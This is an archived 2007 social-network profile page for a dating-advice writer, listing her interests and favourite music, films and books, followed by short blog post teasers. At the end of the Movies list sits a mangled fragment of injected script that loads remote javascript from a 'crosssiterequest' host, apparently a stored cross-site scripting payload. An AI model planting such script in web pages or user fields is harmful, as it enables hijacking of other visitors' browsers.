Melissa profile picture

Melissa

Maitri Quest

About Me

Out and out creative type, with a nice dose of brainiac and geek mixed in. Oh but don't forget my fashionista side who loves styling photo shoots. I've been a dating/romance advice writer now for about five years but over the past year I've been educating myself about more sustainable and green living. Yes, Al Gore is my hero, but so are many others.....you can find out more about me and my interests at www.melissabalmer.squarespace.com Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

The creative process, fashion and culture, progressive politics (you can be on the left or the right, just be about taking responsibility for the state the planet is in), the state of the environment, music, great literature, spiritual truth, and reading reading reading...

I'd like to meet:

***SORRY, NO MORE BANDS UNLESS YOU WRITE TO ME FIRST. And Please don't invite me to join your group! Or help you sell your commercial product. I'm sorry but it's just not my thing. If you have a blog you think I'll like to read invite away. I'm also always looking for new friends fellow thinkers and creative types, those not opposed to admitting they go deep, ponder, reflect and aspire to be better. I'm bored easily with those who live mostly for the surface, focusing only on the material life.

Music:

The Finn Brothers, Squeeze, Bare Naked Ladies, Everything But the Girl, Van Morrison, The Police, Sting, The Cure, Robbie Robertson, The Beatles, the Kinks, Wings, Rolling Stones, Joan Baez, Joni Mitchell, Elvis Costello, Peter Frampton, Fleetwood Mac, Linda Ronstadt, Eric Clapton, Santana,The Doobie Bros, Dire Straights, Boz Scaggs, Steely Dan, Micheal McDonald, Classic Elton John, Coldplay, Guster, The Wallflowers, Pete Yorn, Leona Ness, Bonnie Raitt, Beth Hart, U2, Dave Mathews, Joan Osborne, Allison Krausee, Beth Orton, Sara McGlauchlan, Emmy Lou Harris, Shelby Lynn, Dwight Yokam, Carole King, Alison Krauss, Kim Ritchey, Ella Fitzgerald, Doris Day, Billie Holiday, Bernadette Peters, The Indigo Girls, K.D. Lang, Dolly Parton, Alicia Keys, Zap Mama, Brooklyn Funk Essentials, Norah Jones, Bing Crosby, Danny Kaye, Frank Sinatra, Stevie Wonder, Chaka Khan, Marvin Gaye, Aretha Franklin, Terence Trent D'Arby, Michael Jackson (prior to 2nd nose job), Rick James, Red Hot Chili Peppers, Chopin, Vivaldi, Pucini, Verde, and Mozart, Queens Of The Stone Age, Maroon 5, Counting Crows, Paula Cole, Chris Cornell, The Frames, Sheryl Crow, fielding and Ray Charles, Ray Charles, Ray Charles and of course Prince.

Movies:

Cat On A Hot Tin Roof, Dr. Zhivago, Lawrence Of Arabia, The Long Hot Summer, Now Voyager, White Christmas, Philadelphia Story, A Room With A View, Sex Lies And Videotap, Crossing Delancy, Gigi, Singing In The Rain, Breakfast At Tiffany's, Benny & June, Chicago, The Lord Of The Rings (all three), 8 Mile, Seabiscuit , Ray,all of the Harry Potter's, Orlando, Children of the Century, Horseman on the Roof, Chocolat, Little Women (Christian Bale version), Blade Runner, Star Wars (last three), Some Like it Hot, Elizabeth and Essex, Robin Hood (Errol Flynn version of course), Bull Durham, Iron Giant, An American in Paris, Cold Mountain and so many many more....... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

I'm not a huge T.V. watcher but I do love Tavis Smiley and Charlie Rose, I'm a big PBS and Masterpiece Theater fan.

Books:

The Places That Scare Us-Pema Chodron, Harry Potter (all), The Inspector Lynley Novels, Anything By Jane Austen, The Sun Also Rises, Trollope, F. Scott Fitzgerald, Anais Nin (the journals more than the books), Anne Lamott (an inspiration). While waiting impatiently for the next Harry Potter book this summer I just read "Jonathan Strange & Mr. Norrell"

Heroes:

My favorite hero is Faramir from Lord of The Rings...and David Wenham who plays him in the movies isn't bad either! Other heroes are Oprah Winfrey (but I don't expect her to save the world), The Dalai Lama, Thich Nhat Hahn, Susie Bright, Dr. Wayne Dyer, Bishop Desmond Tutu, Bill Moyers and how can I foget Leo Buscaglia?

My Blog

Anyone Watching "The War" on PBS?

I don't know about you dear readers, but I'm riveted. I must say that Burns and his creative have done it again. What a beautiful, elegant, sad, and poignant look at the terrible sacrifices another ...
Posted by Melissa on Thu, 27 Sep 2007 10:30:00 PST

We Believe What We Want to Believe

I have been thinking a lot lately about how little research we do before taking on something as a given "fact." This first became something I began to ponder seriously about seven months ago when whe...
Posted by Melissa on Mon, 24 Sep 2007 05:04:00 PST

I’ve created a new website

I spent the day putting together a new website on squarespace - it's quite good looking software so it was a lot of fun to put together.You can find my page at:http://melissabalmer.squarespace.com/rel...
Posted by Melissa on Mon, 10 Sep 2007 09:12:00 PST

What the Bleep Do We Know?

Like much of the country Long Beach California is experiencing quite a heat wave. And like many in the country that means my guy and I are sitting in front of fans, in a dark room in the evening, wat...
Posted by Melissa on Tue, 04 Sep 2007 12:55:00 PST

Yes, I’m still here!

Hello dear readers - well the few left! No I haven't fallen off the planet, and no, I'm not ill, I've been working more, and when not working hanging out with my guy, and reading a lot, and well, lea...
Posted by Melissa on Fri, 31 Aug 2007 10:41:00 PST

Creating the Mood Part I

I'm going through old magazines before heading off to work this afternoon, looking for visual examples to show the others at the floral shop just what the heck I have in mind rather than blathering on...
Posted by Melissa on Sat, 23 Jun 2007 12:22:00 PST

Getting Back in the Relationship Saddle

It's uncanny, eerie really, how my dating life has unfolded and become this amazing learning experience which at times has been incredibly tough to deal with (especially looking at my own foibles) but...
Posted by Melissa on Tue, 19 Jun 2007 09:44:00 PST

Ready for More Happiness?

I'm sorry I haven't been writing here very regularly lately, I've been working on an article for MoLAA (Museum of Latin American Art) for LB Magazine, and a new romance column for the Press Telegram's...
Posted by Melissa on Sat, 09 Jun 2007 10:24:00 PST

Oh That Mirror!

I'm very happy tonight, I just got home from an evening out with some good friends and ate a few very delicious strawberries, and I'm winding down and getting ready for dreamland. I just love those m...
Posted by Melissa on Sat, 02 Jun 2007 12:15:00 PST

Flexing Your Muscles

This is the first two days off I've had in quite awhile and it's been really lovely, with the perfect balance between work and play, company and solitair. I even managed to buy an item of clothing at...
Posted by Melissa on Tue, 29 May 2007 10:19:00 PST